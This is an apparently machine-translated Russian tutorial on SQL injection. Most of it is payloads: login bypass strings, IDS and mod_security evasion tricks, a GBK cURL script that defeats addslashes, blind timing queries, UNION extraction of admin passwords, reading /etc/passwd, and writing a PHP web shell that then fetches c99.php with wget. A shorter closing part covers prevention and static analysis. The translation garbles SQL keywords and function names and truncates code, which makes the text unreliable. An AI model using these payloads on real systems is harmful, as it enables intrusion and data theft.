Практика
SQL-инъекция является одним из наиболее популярных методов взлома на уровне приложений, который сегодня используется в дикой природе. Это трюк, который использует плохо отфильтрованные или неправильно экранированные SQL-запросы для анализа переменных данных из пользовательского ввода. Идея внедрения SQL заключается в том, чтобы убедить приложение SQL (будь то MySQL, MSSQL, PostgreSQL, ORACLE и т. Д.) Выполнить строку SQL, которая не была заранее продумана.
Относительно высокий
умеренный
Существует ряд категоризированных типов SQL-инъекций, которые можно выполнить с помощью веб-браузера. Они есть:
Инъекции SQL на основе плохо отфильтрованных строк вызваны пользовательским вводом, который не фильтруется для escape-символов. Это означает, что пользователь может вводить переменную, которая может быть передана как оператор SQL, что приводит к манипулированию вводом в базу данных конечным пользователем.
Код, который уязвим к уязвимости этого типа, может выглядеть примерно так:
$ pass = $ _GET [ 'pass' ] ; $ password = mysql_query ( "ВЫБЕРИТЕ пароль от пользователей, ГДЕ пароль = '" . $ pass . "';" ) ;
Приведенный выше запрос представляет собой вызов SQL для выбора пароля из базы данных пользователей со значением пароля, равным $ var. Если пользователь введет пароль, специально разработанный для продолжения вызова SQL, это может привести к результатам, которые не были заранее продуманы. Инъекция для этого может выглядеть примерно так:
' ИЛИ 1 = 1 / *
Вставка вышеупомянутого в форму приведет к тому, что запрос будет расширен с помощью оператора OR, что приведет к окончательному запросу:
ВЫБЕРИТЕ пароль от пользователей, ГДЕ пароль = '' ИЛИ 1 = 1 / *
Из-за оператора OR в SQL-запросе проверка пароля = $ var незначительна, поскольку 1 равен 1, поэтому запрос вернет TRUE, что приведет к положительному входу в систему.
Неправильная обработка типов на основе SQL-инъекций происходит, когда входные данные не проверяются на наличие ограничений типа. Примером этого может быть числовое поле идентификатора, но нет никакой фильтрации для проверки того, что пользовательский ввод является числовым. is_numeric () всегда должен использоваться, когда тип поля явно должен быть числом. Пример кода, который не будет подвергаться некорректному внедрению обработки типов:
( is_numeric ( $ _GET [ 'id' ] ) ) ? $ id = $ _GET [ 'id' ] : $ id = 1 ; $ news = mysql_query ( "SELECT * FROM` news` WHERE `id` = $ id ORDER BY` id` DESC LIMIT 0,3 " ) ;
Приведенный выше код проверяет, что $ _GET ['id'] является числом, если TRUE возвращает $ id = $ _GET ['id'], и если FALSE устанавливает $ id в 1. Этот тип фильтрации гарантирует, что поле идентификатора будет всегда числовой
Многие sql-инъекции будут в некоторой степени заблокированы системами обнаружения вторжений и предотвращения вторжений, использующими правила обнаружения сигнатур. Распространенными программами, которые обнаруживают SQL-инъекции, являются mod_security для Apache и Snort. Эти программы не являются надежными, поэтому подписи могут быть уклонены. Есть много методов, которые можно использовать для обхода обнаружения подписи, некоторые из которых будут описаны здесь.
Уклонение от подписи можно сделать с помощью ряда приемов кодирования.
Одним из основных и распространенных методов кодирования является использование URL-кодирования. Кодировка URL изменила бы строку внедрения, которая обычно выглядела бы следующим образом:
NULL ИЛИ 1 = 1 / *
Для строки в кодировке URL, которая будет маскироваться как:
NULL + ИЛИ + 1 % 3D1 % 2F % 2A
Таким образом, установленная система IDS может не зарегистрировать атаку, и подпись будет уклонена.
Так как базы данных общих сигнатур проверяют строки, такие как «ИЛИ» (ИЛИ с последующим пробелом), можно избежать этих сигнатур, используя различные методы пробелов. Этими методами могут быть использование вкладок, новые строки / переводы строки возврата каретки и ряд других пробелов.
Если подпись проверяет ИЛИ, а затем пробел, можно вставить новую строку в качестве пробела, что было бы возможно при использовании значения% 0a в строке URL-адреса. Таким образом, инъекция, которая обычно выглядит так:
NULL ИЛИ «значение» = «значение» / *
Пробел внутри инъекции будет заменен новой строкой, похожей на:
NULL % 0aOR % 0a 'значение' = 'значение' / *
Теперь будет отображаться на сервере как:
NULL ИЛИ «значение» = «значение» / *
Приведенная выше строка будет затем обходить систему обнаружения / предотвращения вторжений и будет выполняться на сервере MySQL.
В MySQL комментарии могут быть вставлены в запрос с использованием синтаксиса C / * для начала комментария и * / для завершения комментария. Эти строки комментариев можно использовать, чтобы избежать обнаружения сигнатуры распространенных слов, таких как UNION или OR. Следующая схема инъекций может быть обнаружена IDS:
NULL UNION ALL SELECT user , pass , FROM user_db ГДЕ пользователь НРАВИТСЯ ' % admin % / *
Однако тот же IDS может не обнаружить инъекцию, если ключевые слова были прокомментированы следующим образом:
NULL / ** / UNION / ** / ALL / ** / SELECT / ** / user , pass , / ** / FROM / ** / user_db / ** / WHERE / ** / uid / ** / = / * уклоняться * / '1' //
Вышеприведенный код разбивает ключевые слова, которые обычно выявляет IPS, например, mod_security в Apache, позволяет анализировать атаку SQL-инъекцией и читать таблицы базы данных. Конечно, IDS сможет проверять строки / * и * /, однако на многих сайтах, включая сайты блогов, вставки, новостные сайты и т. Д., Возможно, придется использовать блоки комментариев С, что приводит к ложному срабатыванию.
В редких случаях при определенных условиях фильтры, такие как addlashes () и magic_quotes_gpc можно обойти, когда уязвимый сервер SQL использует определенные наборы символов, такие как набор символов GBK.
В GBK шестнадцатеричное значение 0xbf27 не является допустимым многобайтовым символом, однако шестнадцатеричное значение 0xbf5c равно. Если символы составлены как однобайтовые символы, 0xbf5c - это 0xbf (¿), за которым следует 0x5c (\); ¿\. И 0xbf27 - это 0x27 (') после 0xbf (¿); ¿».
Это удобно, когда одинарные кавычки экранируются с помощью обратной косой черты (\) с помощью addlashes () или когда включена magic_quotes_gpc. Хотя сначала кажется, что точка впрыска заблокирована одним из этих способов, мы можем обойти это, используя 0xbf27. Внедряя этот шестнадцатеричный код, addlashes () изменит 0xbf27, чтобы он стал 0xbf5c27, который является допустимым многобайтовым символом (0xbf5c) и за которым следует неэкранированная кавычка. Другими словами, 0xbf5c распознается как один символ, поэтому обратный слеш бесполезен, и кавычка не экранирована.
Хотя использование addlashes () или magic_quotes_gpc обычно считается несколько безопасным, использование GBK сделает их практически бесполезными. Следующий скрипт PHP cURL сможет использовать инъекцию:
CURLOPT_URL , $ url ) ; curl_setopt ( $ ch , CURLOPT_REFERER , $ ref ) ; curl_setopt ( $ ch , CURLOPT_RETURNTRANSFER , TRUE ) ; curl_setopt ( $ ch , CURLOPT_COOKIE , $ session ) ; curl_setopt ( $ ch , CURLOPT_POST , TRUE ) ; curl_setopt ( $ ch ,CURLOPT_POSTFIELDS , "username =" . chr ( 0xbf ) . chr ( 0x27 ) . "ИЛИ 1 = 1 / * & submit = 1" ) ; $ data = curl_exec ( $ ch ) ; печать ( $ data ) ; curl_close ( $ ch ) ; ?>
Строка CURLOPT_POSTFIELDS устанавливает символы, которые должны быть переданы как многобайтовые символы, и завершает инструкцию OR 1 = 1 / *, создавая тем самым инъекцию, которая обходит проверку addlashes () и / или magic_quotes_gpc.
Большинство хороших производственных сред не позволяют просматривать выходные данные в виде сообщений об ошибках или извлеченных полей базы данных, в то время как при внедрении SQL-инъекций эти инъекции называются слепыми SQL-инъекциями . Они называются « Частично слепые инъекции» и « Полностью слепые инъекции» .
Частично слепые инъекции - это инъекции, в которых вы можете увидеть небольшие изменения на итоговой странице, например, неудачная инъекция может перенаправить злоумышленника на главную страницу, где успешная инъекция вернет пустую страницу.
Полностью слепые инъекции отличаются от частичных слепых инъекций тем, что они не дают разницы в производительности. Это до сих пор , однако инъекционным путем, хотя это трудно определить , является ли инъекции на самом деле происходит ( Black Box Testing будет бесполезен в этих случаях, только White Box Тестирование и серый Box Тестирование будет иметь любое использование в Blind SQL Инъекции).
Использование MySQL BENCHMARK позволит злоумышленнику определить, уязвима ли точка внедрения или нет. Метод BENCHMARK в основном злоупотребляет функцией, и если кто-то не будет осторожен, может и будет перегружать сервер. Однако, поскольку MySQL не имеет функций задержки, введение строки с использованием BENCHMARK, для завершения которой потребуется 30 секунд, является верным способом определения данных, которые обычно трудно получить в слепой инъекции с MySQL.
UNION ALL SELECT BENCHMARK ( 10000000 , ENCODE ( 'xyz' , '987' ) ) ; / * вышеупомянутое займет около 5 секунд на локальном хосте * / UNION ALL SELECT BENCHMARK ( 1000000 , MD5 ( CHAR ( 118 ) ) ) / * вышеописанное займет около 7 секунд на локальном хосте * / UNION ALL SELECT BENCHMARK ( 5000000 , MD5 ( CHAR ( 118 ) ) ) / * вышеописанное займет около 35 секунд на локальном хосте * /
Как только вышесказанное определяет, является ли точка внедрения уязвимой, можно использовать операторы IF для определения имен таблиц и значений полей как таковых:
UNION ALL SELECT IF ( имя пользователя = 'admin' , BENCHMARK ( 1000000 , MD5 ( CHAR ( 118 ) ) ) , NULL ) ОТ пользователей / *
Выше будет проверять имя пользователя admin и установить задержку, если запрос возвращает true.
Функция WAYITFOR DELAY в MSSQL позволяет выполнять инъекцию, не требующую значительных ресурсов процессора, и не будет перегружать сервер. Этот метод намного безопаснее, чем метод BENCHMARK в MySQL. Можно использовать функцию ЗАДЕРЖКИ WAITFOR в инъекции, чтобы остановить сервер и определить, уязвима ли точка инъекции или нет.
ЗАДЕРЖКА ОЖИДАНИЯ '0: 0: 10' - / * Вышеуказанное установит задержку в 10 секунд * / ЗАДЕРЖКА ОЖИДАНИЯ '0: 0: 0.5' - / * Также можно использовать дроби, однако в слепой инъекции фракции не очень полезны *
Выше приведены примеры синтаксиса WAITFOR DELAY. Реальная инъекция может выглядеть примерно так:
; IF EXISTS ( SELECT * FROM user_db ) WAITFOR DELAY '0: 0: 10' -
Вышесказанное позволит нам определить, существует ли база данных «user_db» или нет.
Как и MSSQL, PostgreSQL имеет функцию, не требующую интенсивной загрузки ЦП, которая позволяет злоумышленнику определить, уязвима ли точка внедрения или нет. Эта функция называется pg_sleep (). pg_sleep () может быть установлен, чтобы определить, сколько секунд сервер будет спать. Следующее демонстрирует использование pg_sleep () для сна в течение 10 секунд:
SELECT pg_sleep ( 10 ) ;
Оператор UNION в SQL используется для выбора информации из двух таблиц SQL. При использовании команды UNION все выбранные столбцы должны быть одного типа данных. Однако оператор UNION ALL позволяет выбирать столбцы всех типов данных.
Оператор UNION ALL можно использовать в качестве вектора SQL-инъекции, когда неанизированный динамический скрипт вызывает данные из таблицы, например новости, а оператор UNION ALL используется для изменения и расширения вызова SQL. Сценарий, уязвимый для этого типа внедрения, может иметь строку URI, которая выглядит примерно так ./news.php?id=1338, и его источник может выглядеть примерно так:
$ id = $ _GET [ 'id' ] ; $ news = mysql_query ( "SELECT * FROM` news` WHERE `id` = $ id ORDER BY` id` DESC LIMIT 0,3 " ) ;
Из-за отсутствия фильтрации в переменной $ id она уязвима для внедрения SQL, включая внедрение UNION ALL, например:
NULL UNION ALL SELECT пароль от пользователей, где username = 'admin' / *
Выше приведен следующий SQL-запрос:
ВЫБРАТЬ * FROM `news` WHERE ` id` = NULL UNION ALL SELECT , пароль FROM пользователей WHERE имя пользователя = 'админ' / *
Это приведет к тому, что вместо идентификатора новостей будет вызываться значение NULL, и вместо него будет отображаться пароль учетной записи с именем «admin».
Использование оператора ORDER BY SQL в SQL-инъекции позволяет злоумышленнику определить количество столбцов в запросе. Он сортирует номер столбца, вызываемого в операторе, в порядке возрастания. Внедрение ORDER BY будет выглядеть следующим образом:
ЗАКАЗАТЬ НА 5 / *
При упорядочении по целому числу 4 вызов SQL упорядочивается по 5-му столбцу, вызываемому в операторе. Указанное утверждение может выглядеть так:
$ news = mysql_query ( "ВЫБЕРИТЕ заголовок, дату, время, автора, тело ОТ` `новости` ГДЕ` id` = $ id " ) ;
В приведенном выше запросе есть 5 столбцов, в результате чего в результате будет получено значение TRUE, а столбцы упорядочены по имени автора. Однако, если оператор ORDER BY был увеличен до 6, страница выдаст либо ошибку, либо другую страницу, такую как перенаправленная или пустая страница. С учетом сказанного становится очевидным, что количество столбцов, вызываемых в запросе, равно 5.
Последний вызов вышеуказанного SQL-запроса приведет к:
ВЫБРАТЬ название , дата , время , автор , тело FROM `news` WHERE ` id` = $ ID ORDER BY 5
Функция LOAD_FILE () в MySQL используется для чтения и возврата содержимого файла, расположенного на сервере MySQL. Файл, читаемый функцией LOAD_FILE (), должен иметь права на чтение всех пользователей на сервере, а не только демона сервера. Чтобы внедрение LOAD_FILE () было успешным, необходимо использовать абсолютный путь к файлу, использование относительного пути не удастся. Чтобы получить абсолютный путь, см. Статью о раскрытии полного пути .
Инжекция LOAD_FILE () может выглядеть так:
NULL UNION ALL SELECT LOAD_FILE ( '/ etc / passwd' ) / *
В случае успеха, инъекция отобразит содержимое файла passwd.
Функция OUTFILE () в MySQL часто используется для запуска запроса и вывода результатов в файл. Злоумышленник может использовать эту возможность, включив системный вызов PHP в инъекцию, и записать запрос в выходной файл. Чтобы внедрение OUTFILE () было успешным, необходимо использовать абсолютный путь к файлу, использование относительного пути не удастся. Каталог также должен быть доступен для записи. Чтобы получить абсолютный путь, см. Статью о раскрытии полного пути .
Инъекция INTO OUTFILE () может выглядеть так:
NULL UNION ALL SELECT null , null , null , null , '_ GET ["command"]); ?> ' INTO OUTFILE ' /var/www/victim.com/shell.php ' / *
В случае успеха можно будет запускать системные команды через глобальную переменную $ _GET. Ниже приведен пример использования wget для получения файла:
http://www.victim.com/shell.php?command=wget http://www.example.com/c99.php
База данных MySQL INFORMATION_SCHEMA (доступна из MySQL 5) состоит из табличных объектов (так называемых системных представлений), которые приводят к отображению метаданных в реляционном формате. Таким образом, выполнение произвольных инъекций с помощью операторов SELECT позволяет получать или форматировать указанные метаданные. Метаданные доступны злоумышленнику только в том случае, если извлеченные объекты доступны текущей учетной записи пользователя. База данных INFORMATION_SCHEMA автоматически создается сервером при установке MySQL, а метаданные внутри него поддерживаются сервером.
База данных INFORMATION_SCHEMA состоит из следующих объектов:
SCHEMATA TABLES COLUMNS STATISTICS USER_PRIVILEGES SCHEMA_PRIVILEGES TABLE_PRIVILEGES COLUMN_PRIVILEGES CHARACTER_SETS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY TABLE_CONSTRAINTS KEY_COLUMN_USAGE ROUTINES VIEWS TRIGGERS PROFILING
Инъекция, использующая базу данных INFORMATION_SCHEMA, может выглядеть следующим образом:
UNION ALL SELECT * FROM INFORMATION_SCHEMA. СТОЛЫ / *
Приведенный выше оператор приведет к выводу всех таблиц базы данных, доступных текущему пользователю MySQL.
В случае, когда вышеприведенный оператор SELECT возвращает false, можно расширить оператор, чтобы обойти любые ограничения.
Расширенная инструкция INFORMATION_SCHEMA может выглядеть следующим образом:
ВЫБЕРИТЕ имя_таблицы ОТ ИНФОРМАЦИИ_SCHEMA. ТАБЛИЦЫ ГДЕ table_schema = 'db _ name' [ AND table_name LIKE 'wild' ] ПОКАЗАТЬ ТАБЛИЦЫ ОТ db_name [ LIKE 'wild' ]
Функция Char () интерпретирует каждое значение как целое число и возвращает строку, основанную на заданных символах кодовыми значениями этих целых чисел. При использовании Char () значения NULL пропускаются. Эта функция используется в Microsoft SQL Server, Sybase и MySQL, а CHR () используется в СУБД.
Функция SQL Char () оказывается полезной, когда (например) addlashes () для PHP используется в качестве меры предосторожности в запросе SQL. Использование Char () устраняет необходимость в кавычках внутри введенного запроса.
Пример некоторого кода PHP, уязвимого для SQL-инъекции с использованием Char (), будет выглядеть следующим образом:
$ uname = addlashes ( $ _GET [ 'id' ] ) ; $ query = 'ВЫБЕРИТЕ имя пользователя из пользователей, ГДЕ id =' . $ id ;
Несмотря на то, что был использован addlashes (), сценарий не может должным образом очистить входные данные, поскольку нет конечных кавычек. Это можно использовать, используя следующую строку SQL-инъекции для загрузки файла / etc / passwd:
NULL UNION ALL SELECT LOAD_FILE ( CHAR ( 34 , 47 , 101 , 116 , 99 , 47 , 112 , 97 , 115 , 115 , 119 , 100 , 34 ) ) / *
Его также можно использовать, чтобы приложение позволяло операторам LIKE выполнять поиск таких пользователей, как% admin%, следующим образом:
NULL UNION ALL SELECT имя пользователя , пароль , ноль , ноль ОТ пользователей ГДЕ имя пользователя LIKE CHAR ( 34 , 37 , 97 , 100 , 109 , 105 , 110 , 37 , 34 ) / *
Синтаксис функции Char () немного меняется при работе с Microsoft SQL Server. Например, приведенный выше пример будет означать следующее:
NULL UNION ALL SELECT имя пользователя , пароль , null , null ОТ пользователей ГДЕ имя пользователя LIKE CHAR ( 34 ) + CHAR ( 37 ) + CHAR ( 97 ) + CHAR ( 100 ) + CHAR ( 109 ) + CHAR ( 105 ) + CHAR ( 110 ) + CHAR ( 37) + CHAR ( 34 ) / *
Иногда может потребоваться изменить тип данных переменных в инъекции, чтобы выполнить его без ошибок несоответствия типов. Время от времени можно встретить динамические страницы, которые будут отображать только определенные типы данных (строки, целые числа, даты и т. Д.) В определенных позициях. Функция CAST может использоваться, чтобы обойти это и преобразовать данные, чтобы они могли быть отображены. Возьмите следующий пример:
NULL UNION ALL SELECT 1 , 2 , 3 , 4 , 5 / *
Столбец в позиции 3 может отображать только строку. Может потребоваться заключить 3 в кавычки или использовать функцию CAST, как в следующем примере:
NULL UNION ALL SELECT 1 , 2 , CAST ( 3 как nvarchar ) , 4 , 5 / *
Это по-прежнему будет отображать 3, но сервер будет рассматривать его как строку, а не целое число. Существует множество типов данных, которые вы можете преобразовать, включая int, nvarchar, datetime и sql_variant, и это лишь некоторые из них.
Функция MySQL LIMIT чрезвычайно полезна. Некоторые веб-страницы не всегда отображают списки информации, а одну запись из базы данных. В этом случае необходимо сформировать инъекцию, которая может отображать одну запись из набора данных, но при этом разрешать извлечение всех записей. Функция LIMIT имеет следующий синтаксис:
LIMIT 0 , 1
В приведенном выше примере LIMIT задается параметрами 0 и 1. 0 представляет позицию в наборе данных, а 1 представляет количество записей для извлечения. В этом примере будет извлечена первая запись в наборе данных. Следующее будет отображать первые 10 записей:
LIMIT 0 , 10
Чтобы продемонстрировать, как это было бы полезно, сделайте следующую инъекцию:
NULL UNION ALL SELECT имя пользователя , пароль , 3 , 4 от пользователей LIMIT 0 , 1
На странице, которая возвращает одну запись, будет возвращена первая запись в таблице пользователей. При увеличении начальной позиции, 0, будут возвращаться 2-я запись, 3-я запись и так далее, пока не будет достигнут конец набора данных.
На Microsoft SQL Server нет функции LIMIT. Однако возможно, хотя и гораздо сложнее, достичь того же результата с помощью команды TOP и подзапроса.
Чтобы проиллюстрировать использование этого метода, рассмотрим пример, приведенный выше:
NULL UNION ALL SELECT TOP 1 имя пользователя , пароль , 3 , 4 ОТ пользователей, ГДЕ имя пользователя НЕ ВХОДИТ ( ВЫБЕРИТЕ TOP 0 имя пользователя от пользователей )
Теперь это сложный запрос, и подзапрос является ключевым компонентом здесь. По сути, он сообщает базе данных вернуть первую запись, которая не найдена в подзапросе. Это эффективно работает только при наличии уникального поля для сравнения, обычно с полями id или username.
Приведенный выше запрос указывает базе данных на получение, в данном случае, первой записи из таблицы пользователей. TOP 0 в подзапросе по существу совпадает с 0 в примере LIMIT, представленном ранее, и TOP 1 в основном запросе будет преобразован в 1 в этом же примере. Чтобы вернуть следующую запись, просто увеличьте 0.
В SQL есть несколько методов сбора информации. Они могут быть использованы в разведывательных целях для сбора любой необходимой информации о сайте жертвы.
@@ version @@ version используется в SQL Server для определения, какая версия сервера запущена. Инъекция может выглядеть примерно так:
; ВЫБЕРИТЕ @@ VERSION -
Вывод вышеприведенного оператора будет выглядеть следующим образом:
Microsoft SQL Server 7.00 - 7.00.623 (Intel X86) 27 ноября 1998 г. 22:20:07 Авторское право (c) 1988-1998 Microsoft Corporation Desktop Edition для Windows NT 5.1 (сборка 2600:)
Есть несколько способов предотвратить инъекции MySQL в PHP. Наиболее распространенными способами являются использование таких функций, как addlashes () и mysql_real_escape_string ().
addlashes () вернет строку с обратной косой чертой перед символами, которые необходимо очистить в запросах к базе данных. Эти символы - одинарные кавычки ('= \'), двойные кавычки ("= \") и нулевой байт (% 00 = \ 0).
addlashes () будет работать, только если строка запроса заключена в кавычки. Строка, такая как следующая, все еще будет уязвима для инъекции SQL:
$ id = addlashes ( $ _GET [ 'id' ] ) ; $ query = 'ВЫБЕРИТЕ имя пользователя из пользователей, ГДЕ id =' . $ id ;
Однако, если скрипт выглядит примерно так, addlashes () предотвратит внедрение SQL:
$ uname = addlashes ( $ _GET [ 'id' ] ) ; $ query = 'SELECT username FROM users WHERE id = "' . $ uname . '";
mysql_real_escape_string () немного более мощная, чем addlashes (), так как она вызывает библиотечную функцию MySQL mysql_real_escape_string, которая добавляет обратную косую черту к следующим символам: \ x00, \ n, \ r, \, ', "и \ x1a.
Как и в addlashes (), mysql_real_escape_string () будет работать, только если строка запроса заключена в кавычки. Строка, такая как следующая, все еще будет уязвима для инъекции SQL:
$ uname = mysql_real_escape_string ( $ _GET [ 'id' ] ) ; $ query = 'ВЫБЕРИТЕ имя пользователя из пользователей, ГДЕ id =' . $ uname ;
Однако, если скрипт выглядит примерно так, mysql_real_escape_string () предотвратит SQL-инъекцию:
$ uname = mysql_real_escape_string ( $ _GET [ 'id' ] ) ; $ query = 'SELECT username FROM users WHERE id = "' . $ uname . '";
Функция PHP is_numeric () может использоваться для проверки того, является ли запрос числовым или нет, и возвращает TRUE или FALSE. Эта функция может использоваться для предотвращения SQL-инъекций, где вызывается целое число $ id. Ниже приведен пример использования is_numeric () для предотвращения внедрения SQL:
$ id = $ _GET [ 'id' ] ; ( is_numeric ( $ id ) ? TRUE : FALSE ) ;
sprintf () может использоваться со спецификациями преобразования, чтобы гарантировать, что динамический аргумент обрабатывается так, как он должен обрабатываться. Например, если вызов для идентификатора пользователя находится в строке,% d будет использоваться для гарантии того, что аргумент обрабатывается как целое число и представляется как (подписанное) десятичное число. Примером этого является следующее:
$ id = $ _GET [ 'id' ] ; $ query = sprintf ( "ВЫБЕРИТЕ имя пользователя из пользователей, ГДЕ id = ' % d '" , $ id ) ;
htmlentities () в сочетании с необязательным вторым параметром quote_style позволяет использовать ENT_QUOTES , который преобразует как двойные, так и одинарные кавычки. Это будет работать в том же смысле, что и addlashes () и mysql_real_escape_string () в отношении кавычек, однако вместо добавления обратной косой черты будет использоваться HTML-сущность кавычки.
В дополнение к использованию ENT_QUOTES в htmlentities (), можно установить третий параметр, который заставляет использовать набор символов при преобразовании. Это поможет предотвратить непредвиденные результаты от использования многобайтовых символов в наборах символов, таких как BIG5 и GPK.
Ниже приведен пример кода, который поможет предотвратить внедрение SQL в PHP.
$ id = $ _GET [ 'id' ] ; $ id = htmlentities ( $ id , ENT_QUOTES , 'UTF-8' ) ; $ query = 'SELECT username FROM users WHERE id = "' . $ id . '" " ;
Как можно обнаружить уязвимость для SQL-инъекций методом статичного анализа кода?
При статическом анализе кода происходит анализ программы без ее реального исполнения, а при динамическом анализе – в процессе исполнения. В большинстве случаев под статическим анализом подразумевают анализ, осуществляемый с помощью автоматизированных инструментов исходного или исполняемого кода.
Исторически первые инструменты статического анализа (часто в их названии используется слово lint) применялись для нахождения простейших дефектов программы. Они использовали простой поиск по сигнатурам, то есть обнаруживали совпадения с имеющимися сигнатурами в базе проверок. Они применяются до сих пор и позволяют определять "подозрительные" конструкции в коде, которые могут вызвать падение программы при выполнении.
Второе поколение инструментов статического анализа в дополнение к простому поиску совпадений по шаблонам оснащено технологиями анализа, которые до этого применялись в компиляторах для оптимизации программ. Эти методы позволяли по анализу исходного кода составлять графы потока управления и потока данных, которые представляют собой модель выполнения программы и модель зависимостей одних переменных от других. Имея данные, графы можно моделировать, определяя, как будет выполняться программа (по какому пути и с какими данными).
Статические анализаторы работают похожим образом: помечают данные, которые поступают из недоверенного источника, отслеживаются все манипуляции с данными и пытаются определить, попадают ли данные в критичные функции. Под критичными функциями обычно подразумеваются функции, которые исполняют код, делают запросы к БД, обрабатывают XML-документы, осуществляют доступ к файлам и др., в которых изменение параметра функции может нанести ущерб конфиденциальности, целостности и доступности.
Также возможна обратная ситуация, когда из доверенного источника, например переменных окружения, критичных таблиц базы данных, критичных файлов, данные поступают в недоверенный источник, например генерируемую HTML-страницу. Это может означать потенциальную утечку критичной информации.
Одним из недостатков такого анализа является сложность определения на пути выполнения программ функций, которые осуществляют фильтрацию или валидацию значений. Поэтому большинство анализаторов включает набор стандартных системных функций фильтрации для языка и возможность задания таких функций самостоятельно.
Комментарии
Оставить комментарий
информационная безопасность - Криптография и Криптоанализ. Стеганография. Защита Информации
Термины: информационная безопасность - Криптография и Криптоанализ. Стеганография. Защита Информации